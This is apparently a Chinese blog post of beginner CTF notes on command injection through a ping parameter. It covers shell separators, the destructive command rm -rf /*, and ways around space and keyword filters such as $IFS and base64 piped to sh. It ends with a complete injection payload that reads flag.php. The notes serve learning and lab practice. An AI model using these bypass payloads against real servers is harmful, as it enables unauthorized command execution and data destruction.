命令执行(Ping)

Shell 命令的基本格式如下:

command [选项] [参数]

[]表示可选的,也就是可有可无。有些命令不写选项和参数也能执行,有些命令在必要的时候可以附带选项和参数。

Shell 命令的选项用于调整命令功能,而命令的参数是这个命令的操作对象。有些选项后面也需要附带参数,以补全命令的功能。

 

| :  直接执行后面的语句

||:    如果前面执行的语句出错,才执行后面的语句

&:    &前面后面的命令都要执行,无论真假

&&:如果前面为假就直接出错,后面的不会被执行 

Linux中多了一个“;”,多个命令顺序执行

 

ls(list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)  这里是LLL小写的l,不是大写的i

cat(concatenate):用于连接文件并打印到标准输出设备上。

system被过滤时,可以使用assert来代替

 

Linux ls 命令可以看目录文件,我们不知道文件目录有几层可以通过" ../ "返回上一级目录到根目录。 此处第一个" ../"需要空格,接下去再找更上一级的目录就不需要空格了

 

rm -rf /* 是Linux的一条指令,/*代表根目录下所有路径,作用是删除根目录下所有文件,也就是删除系统中的所有文件

格式:rm 指令 路径
 
echo 命令用来输出一个字符串,默认输出完成后会换行;给它增加-n选项,就不会换行了。 
 
shell还有一种功能,就是可以将两个或者多个命令(程序或者进程)连接到一起,把一个命令的输出作为下一个命令的输入,以这种方式连接的两个或者多个命令就形成了管道(pipe)
参数:find / -name flag*  函数:system     #linux系统命令查找flag开头的文件有哪些 
 
 

unix命令: //不知道跟Linux命令有什么区别

echo "some text" #将文字内容打印在屏幕上
ls #文件列表
cp sourcefile destfile #文件拷贝
mv oldname newname #重命名文件或移动文件
rm file #删除文件
grep 'pattern' file #在文件内搜索字符串,如:grep 'searchstring' file.txt
cat file.txt #输出文件内容到标准输出设备(屏幕)上
read var #显示用户输入,并将输入赋值给变量

若要输入cat flag.php 当空格被过滤时的方法:

命令执行绕过笔记 - 冬泳怪鸽 - 博客园 (cnblogs.com)

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

有一题对空格和flag都进行了过滤:

使用 base64 编码的方式来绕过 flag 过滤。

加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

Y2F0IGZsYWcucGhwCg==  是对cat flag.php 的加密,不知道为什么不需要对""进行加密,可能因为cat flag.php 是一个命令而不是单纯的文本?

然后用 $IFS$9 代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

posted @   heartbeat111  阅读(238)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示